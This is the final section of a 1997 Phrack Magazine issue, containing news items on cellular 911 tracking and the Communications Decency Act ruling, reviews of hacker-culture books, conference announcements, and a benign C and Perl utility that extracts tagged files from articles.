leaders could earn more than many Americans make in a year.
|
|||
|
|
|||
|
Few of these editors would talk on the record for fear of
|
|||
|
professional retribution. Even E.J., a normally voluble
|
|||
|
45-year-old Washington, D.C., editorial writer, was reticent.
|
|||
|
|
|||
|
"Columnists aren't just people who write about the political
|
|||
|
scandal of the day," E.J. said cautiously. "I like to think of
|
|||
|
columnists as people who take something apart that, perhaps,
|
|||
|
didn't need taking apart."
|
|||
|
|
|||
|
"We are not evil people. We're middle-aged, professional
|
|||
|
entertainers in gray flannel suits."
|
|||
|
|
|||
|
0x17>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Cellular Tracking Technologies
|
|||
|
Source: unknown
|
|||
|
Author: unknown
|
|||
|
|
|||
|
A recent article from the San Jose Mercury News by Berry Witt ("Squabble
|
|||
|
puts non-emergency phone number on hold") raises several important
|
|||
|
questions -- questions I think are relavant to the CUD's readership...
|
|||
|
|
|||
|
Does anybody remember the FBI's request that cell phone companies must
|
|||
|
build in tracking technology to their systems that allows a person's
|
|||
|
position to be pin pointed by authorities? That suggested policy resulted
|
|||
|
in a flurry of privacy questions and protests from the industry, suggesting
|
|||
|
such requirements would force them to be uncompetitive in the global
|
|||
|
marketplace. The article, dated July 20, (which was focused on 911
|
|||
|
cellular liability issues) suggests federal authorities may have worked out
|
|||
|
an end run around the controversy. The article states:
|
|||
|
|
|||
|
"The cellular industry is working to meet a federal requirement that by
|
|||
|
next spring, 911 calls from cellular phones provide dispatchers the
|
|||
|
location of the nearest cell site and that within five years, cellular
|
|||
|
calls provide dispatchers the location of the caller within a 125-meter
|
|||
|
radius. "
|
|||
|
|
|||
|
On its face, this seems reasonable and it is a far cry from the real time
|
|||
|
tracking requirements of any cell phone that is turned on (The FBI's
|
|||
|
original request). But by next spring, this tracking system will be in
|
|||
|
place and on line. I have heard no public debate about the privacy
|
|||
|
implications regarding this "Federal Requirement", nor has there been any
|
|||
|
indication that this information will be restricted to 911 operators.
|
|||
|
|
|||
|
Will this information be available to law enforcement officials if they
|
|||
|
have a warrant? If they don't have a warrant? Will this information be
|
|||
|
secured so enterprising criminals won't have access to it? Exactly WHAT
|
|||
|
kind of security is being implemented so it WON'T be accessible to the
|
|||
|
general public.
|
|||
|
|
|||
|
This smacks of subterfuge. By cloaking the cellular tracking issue in the
|
|||
|
very real issue of the 911 location system, the federal government and law
|
|||
|
enforcement agencies have circumvented the legitimate privacy questions
|
|||
|
that arose from their initial Cellular tracking request.
|
|||
|
|
|||
|
0x18>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Title: Court Mixes Internet Smut Provision
|
|||
|
Source: Associated Press
|
|||
|
Author: unknown
|
|||
|
Date: June 26, 1997
|
|||
|
|
|||
|
WASHINGTON (AP) -- Congress violated free-speech rights when it
|
|||
|
tried to curb smut on the Internet, the Supreme Court ruled today.
|
|||
|
In its first venture into cyberspace law, the court invalidated a
|
|||
|
key provision of the 1996 Communications Decency Act.
|
|||
|
|
|||
|
Congress' effort to protect children from sexually explicit
|
|||
|
material goes too far because it also would keep such material
|
|||
|
from adults who have a right to see it, the justices unanimously
|
|||
|
said.
|
|||
|
|
|||
|
The law made it a crime to put adult-oriented material online
|
|||
|
where children can find it. The measure has never taken effect
|
|||
|
because it was blocked last year by a three-judge court in
|
|||
|
Philadelphia.
|
|||
|
|
|||
|
``We agree with the three-judge district court that the statute
|
|||
|
abridges the freedom of speech protected by the First Amendment,''
|
|||
|
Justice John Paul Stevens wrote for the court.
|
|||
|
|
|||
|
``The (Communications Decency Act) is a content-based regulation
|
|||
|
of speech,'' he wrote. ``The vagueness of such a regulation raises
|
|||
|
special First Amendment concerns because of its obvious chilling
|
|||
|
effect on free speech.''
|
|||
|
|
|||
|
``As a matter of constitutional tradition ... we presume that
|
|||
|
governmental regulation of the content of speech is more likely to
|
|||
|
interfere with the free exchange of ideas than to encourage it,''
|
|||
|
Stevens wrote.
|
|||
|
|
|||
|
Sexually explicit words and pictures are protected by the
|
|||
|
Constitution's First Amendment if they are deemed indecent but not
|
|||
|
obscene.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Book Title: Underground
|
|||
|
Poster: Darren Reed
|
|||
|
|
|||
|
A few people will have heard me mention this book already, but I think
|
|||
|
there are bits and pieces of this book which will surprise quite a few
|
|||
|
people. Most of us are used to reading stories about hacking by the
|
|||
|
people who did the catching of the hackers...this one is an ongoing
|
|||
|
story of the local hacker scene...with not so local contacts and exploits.
|
|||
|
|
|||
|
Some of the important things to note are just how well they do work
|
|||
|
together, as well as competing with each other and what they do when
|
|||
|
they get pissed off with each other. Meanwhile most of the white hats
|
|||
|
are too busy trying to hoard information from the other white hats...
|
|||
|
|
|||
|
Having been on the "victim" side in the past, it is quite frustrating
|
|||
|
when someone you've worked to have arrested gets off with a fine. Most
|
|||
|
of us would agree that they should be locked up somewhere, but
|
|||
|
according to what's in the book, most of them are suffering from either
|
|||
|
problems at home or other mental disorders (including one claim in court
|
|||
|
to being addicted to hacking). Anyone for a "Hackers Anonymous Association"
|
|||
|
for help in drying out from this nefarious activity ? At least in one
|
|||
|
case documented within the perpetrators get sentenced to time behind bars.
|
|||
|
|
|||
|
It's somewhat comforting to read that people have actually broken into
|
|||
|
the machines which belong to security experts such as Gene Spafford and
|
|||
|
Matt Bishop, although I'd have preferred to have not read how they
|
|||
|
successfully broke into the NIC :-/ Don't know about you, but I don't
|
|||
|
care what motives they have, I'd prefer for them to not be getting inside
|
|||
|
machines which provide integral services for the Internet.
|
|||
|
|
|||
|
For all of you who like to hide behind firewalls, in one instance a hacker
|
|||
|
comes in through X.25 and out onto the Internet. Nice and easy 'cause
|
|||
|
we don't need to firewall our X.25 connection do we ? :-)
|
|||
|
|
|||
|
Oh, and just for all those VMS weenies who like to say "We're secure,
|
|||
|
we run VMS not Unix" - the first chapter of the book is on a VMS worm
|
|||
|
called "WANK" that came close to taking the NASA VMS network completely
|
|||
|
off air. I wonder how long it will take for an NT equivalent to surface...
|
|||
|
|
|||
|
All in all, a pretty good read (one from which I'm sure hackers will learn
|
|||
|
just as much from as the rest of us).
|
|||
|
|
|||
|
The book's details are:
|
|||
|
Title: UNDERGROUND - Tales of Hacking, madness and obsession on the
|
|||
|
Electronic Frontier
|
|||
|
ISBN 1-86330-595-5
|
|||
|
Author: Suelette Dreyfus
|
|||
|
Publisher: Random House
|
|||
|
Publisher's address: 20 Alfred St, Milsons Point, NSW 2061, Australia
|
|||
|
Price: AUS$19.95
|
|||
|
|
|||
|
before I forget, the best URL for the book I've found is:
|
|||
|
|
|||
|
http://www.underground-book.com (http://underground.org/book is a mirror)
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Book Title: "Hackers"
|
|||
|
Poster: Paul Taylor P.A.Taylor@sociology.salford.ac.uk
|
|||
|
|
|||
|
There's an open invite for people to contact me and discuss the
|
|||
|
above and/or anything else that they think is relevant/important.
|
|||
|
|
|||
|
Below is a brief overview of
|
|||
|
the eventual book's rationale and proposed structure.
|
|||
|
|
|||
|
Hackers: a study of a technoculture
|
|||
|
|
|||
|
Background
|
|||
|
|
|||
|
"Hackers" is based upon 4 years PhD research conducted from
|
|||
|
1989-1993 at the University of Edinburgh. The research focussed
|
|||
|
upon 3 main groups: the Computer Underground (CU); the Computer
|
|||
|
Security Industry (CSI); and the academic community. Additional
|
|||
|
information was obtained from government officials, journalists
|
|||
|
etc.
|
|||
|
|
|||
|
The face-to-face interview work was conducted in the UK and the
|
|||
|
Netherlands. It included figures such as Rop Gongrijp of
|
|||
|
Hack-Tic magazine, Prof Hirschberg of Delft University, and
|
|||
|
Robert Schifreen. E-mail/phone interviews were conducted in
|
|||
|
Europe and the US with figures such as Prof Eugene Spafford of
|
|||
|
Purdue Technical University, Kevin Mitnick, Chris Goggans and
|
|||
|
John Draper.
|
|||
|
|
|||
|
Rationale
|
|||
|
|
|||
|
This book sets out to be an academic study of the social
|
|||
|
processes behind hacking that is nevertheless accessible to a
|
|||
|
general audience. It seeks to compensate for the "Gee-whiz"
|
|||
|
approach of many of the journalistic accounts of hacking. The
|
|||
|
tone of these books tends to be set by their titles: The Fugitive
|
|||
|
Game; Takedown; The Cyberthief and the Samurai; Masters of
|
|||
|
Deception - and so on ...
|
|||
|
|
|||
|
The basic argument in this book is that, despite the media
|
|||
|
portrayal, hacking is not, and never has been, a simple case of
|
|||
|
"electronic vandals" versus the good guys: the truth is much more
|
|||
|
complex. The boundaries between hacking, the security industry
|
|||
|
and academia, for example, are often relatively fluid. In
|
|||
|
addition, hacking has a significance outside of its immediate
|
|||
|
environment: the disputes that surround it symbolise society's
|
|||
|
attempts to shape the values of the informational environments we
|
|||
|
will inhabit tomorrow.
|
|||
|
|
|||
|
|
|||
|
Book Outline
|
|||
|
|
|||
|
Introduction - the background of the study and the range of
|
|||
|
contributors
|
|||
|
|
|||
|
Chapter 1 - The cultural significance of hacking: non-fiction and
|
|||
|
fictional portrayals of hacking.
|
|||
|
|
|||
|
Chapter 2 - Hacking the system: hackers and theories of technological change.
|
|||
|
|
|||
|
Chapter 3 - Hackers: their culture.
|
|||
|
|
|||
|
Chapter 4 - Hackers: their motivations
|
|||
|
|
|||
|
Chapter 5 - The State of the (Cyber)Nation: computer security weaknesses.
|
|||
|
|
|||
|
Chapter 6- Them and Us: boundary formation and constructing "the other".
|
|||
|
|
|||
|
Chapter 7 - Hacking and Legislation.
|
|||
|
|
|||
|
Conclusion
|
|||
|
|
|||
|
|
|||
|
0x1>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Convention: Cybercrime Conference Announcement
|
|||
|
Date: Oct 29 - 31
|
|||
|
|
|||
|
Cybercrime; E-Commerce & Banking; Corporate, Bank & Computer
|
|||
|
Security; Financial Crimes and Information Warfare Conference
|
|||
|
will be held October 29, 30, & 31, 1997 (Washington, D.C.) and
|
|||
|
November 17 & 18 (New York City) for bankers, lawyers,
|
|||
|
information security directors, law enforcement, regulators,
|
|||
|
technology developers/providers.
|
|||
|
|
|||
|
Responding to the global threat posed by advancing technology,
|
|||
|
senior level decision makers will join together to share remedies
|
|||
|
and solutions towards the ultimate protection of financial and
|
|||
|
intellectual property; and against competitive espionage and
|
|||
|
electronic warfare. An international faculty of 30 experts will
|
|||
|
help you protect your business assets, as well as the information
|
|||
|
infrastructure at large.
|
|||
|
|
|||
|
There will also be a small technology vendor exhibition.
|
|||
|
|
|||
|
Sponsored by Oceana Publications Inc. 50 year publisher of
|
|||
|
international law, in cooperation with the Centre for
|
|||
|
International Financial Crimes Studies, College of Law,
|
|||
|
University of Florida, and Kroll Associates, a leading
|
|||
|
investigative firm. For more information call
|
|||
|
800/831-0758 or
|
|||
|
914/693-8100; or e-mail: Oceana@panix.com.
|
|||
|
|
|||
|
http://www.oceanalaw.com/seminar/sem_calendar.htm
|
|||
|
|
|||
|
0x2>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Convention: Computers & The Law IV Symposium
|
|||
|
Date: October 6-9, Boston
|
|||
|
|
|||
|
Computers & The Law IV is the only event to bring together corporate
|
|||
|
decision-makers, computer professionals and legal experts to discuss
|
|||
|
Internet
|
|||
|
and Web technology in the eyes of the law. This conference provides a
|
|||
|
forum and educational opportunities for all those interested in
|
|||
|
keeping their system investment safe and within the law.
|
|||
|
Topics will include:
|
|||
|
* Corporate liablity on the Internet
|
|||
|
* Internet risk management in the enterprise
|
|||
|
* Hiring a SysAdmin you can trust
|
|||
|
* Legal risks of Internet commerce
|
|||
|
* Establishing a fair-use policy
|
|||
|
* Prosecuting system intruders
|
|||
|
* Communicating with your SysAdmin
|
|||
|
* Understanding copyright law
|
|||
|
* Assessing your exposure to hackers
|
|||
|
* Employee privacy vs. owner rights
|
|||
|
... and much more!
|
|||
|
|
|||
|
FOR MORE INFORMATION CONTACT
|
|||
|
The Sun User Group * 14 Harvard Ave, 2nd Floor * Allston, MA 02134
|
|||
|
(617)787-2301 * conference@sug.org * http://www.sug.org/CL4
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 17 of 17
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Phrack Magzine Extraction Utility
|
|||
|
|
|||
|
|
|||
|
--------[ Phrack Staff
|
|||
|
|
|||
|
This time around, you have the option of using the C version of extract,
|
|||
|
or the PERL version, contributed by Daos.
|
|||
|
|
|||
|
|
|||
|
---------------------8<------------CUT-HERE----------->8---------------------
|
|||
|
|
|||
|
/* extract.c by Phrack Staff and sirsyko
|
|||
|
*
|
|||
|
* (c) Phrack Magazine, 1997
|
|||
|
*
|
|||
|
* Extracts textfiles from a specially tagged flatfile into a hierarchical
|
|||
|
* directory strcuture. Use to extract source code from any of the articles
|
|||
|
* in Phrack Magazine (first appeared in Phrack 50).
|
|||
|
*
|
|||
|
* gcc -o extract extract.c
|
|||
|
*
|
|||
|
* ./extract filename
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
#include <stdio.h>
|
|||
|
#include <sys/stat.h>
|
|||
|
#include <string.h>
|
|||
|
|
|||
|
int main(int argc, char **argv){
|
|||
|
|
|||
|
char *s="<++> ",*e="<-->",b[256],*bp;
|
|||
|
FILE *f,*o = NULL;
|
|||
|
int l, n, i=0;
|
|||
|
|
|||
|
l = strlen(s);
|
|||
|
n = strlen(e);
|
|||
|
|
|||
|
if(argc<2) {
|
|||
|
printf("Usage: %s <inputfile>\n",argv[0]);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
if(! (f=fopen(argv[1], "r"))) {
|
|||
|
printf("Could not open input file.\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
|
|||
|
while(fgets(b, 256, f)){
|
|||
|
|
|||
|
if(!strncmp (b, s, l)){
|
|||
|
b[strlen(b)-1] = '\0';
|
|||
|
|
|||
|
if((bp=strchr(b+l+1,'/')))
|
|||
|
while (bp){
|
|||
|
*bp='\0';
|
|||
|
mkdir(b+l, 0700);
|
|||
|
*bp='/';
|
|||
|
bp=strchr(bp+1,'/');
|
|||
|
}
|
|||
|
if((o = fopen(b+l, "w")))
|
|||
|
printf("- Extracting %s\n",b+l);
|
|||
|
else {
|
|||
|
printf("Could not extract '%s'\n",b+l);
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
else if(!strncmp (b, e, n)){
|
|||
|
if(o) fclose(o);
|
|||
|
else {
|
|||
|
printf("Error closing file.\n");
|
|||
|
exit(1);
|
|||
|
}
|
|||
|
}
|
|||
|
else if(o) {
|
|||
|
fputs(b, o);
|
|||
|
i++;
|
|||
|
}
|
|||
|
}
|
|||
|
if(!i) printf("No extraction tags found.\n");
|
|||
|
return(0);
|
|||
|
}
|
|||
|
|
|||
|
---------------------8<------------CUT-HERE----------->8---------------------
|
|||
|
|
|||
|
# Daos <daos@nym.alias.net>
|
|||
|
|
|||
|
<++> extract.pl
|
|||
|
#!/bin/sh -- # -*- perl -*- -n
|
|||
|
eval 'exec perl $0 -S ${1+"$@"}' if 0;
|
|||
|
|
|||
|
$opening=0;
|
|||
|
|
|||
|
if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};
|
|||
|
if (/^\<\-\-\>/) {close ct_ex; $opened=0;};
|
|||
|
if ($opening) {
|
|||
|
chop $curfile;
|
|||
|
$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);
|
|||
|
eval {mkdir $sex_dir, "0777";};
|
|||
|
open(ct_ex,">$curfile");
|
|||
|
print "Attempting extraction of $curfile\n";
|
|||
|
$opened=1;
|
|||
|
}
|
|||
|
if ($opened && !$opening) {print ct_ex $_};
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|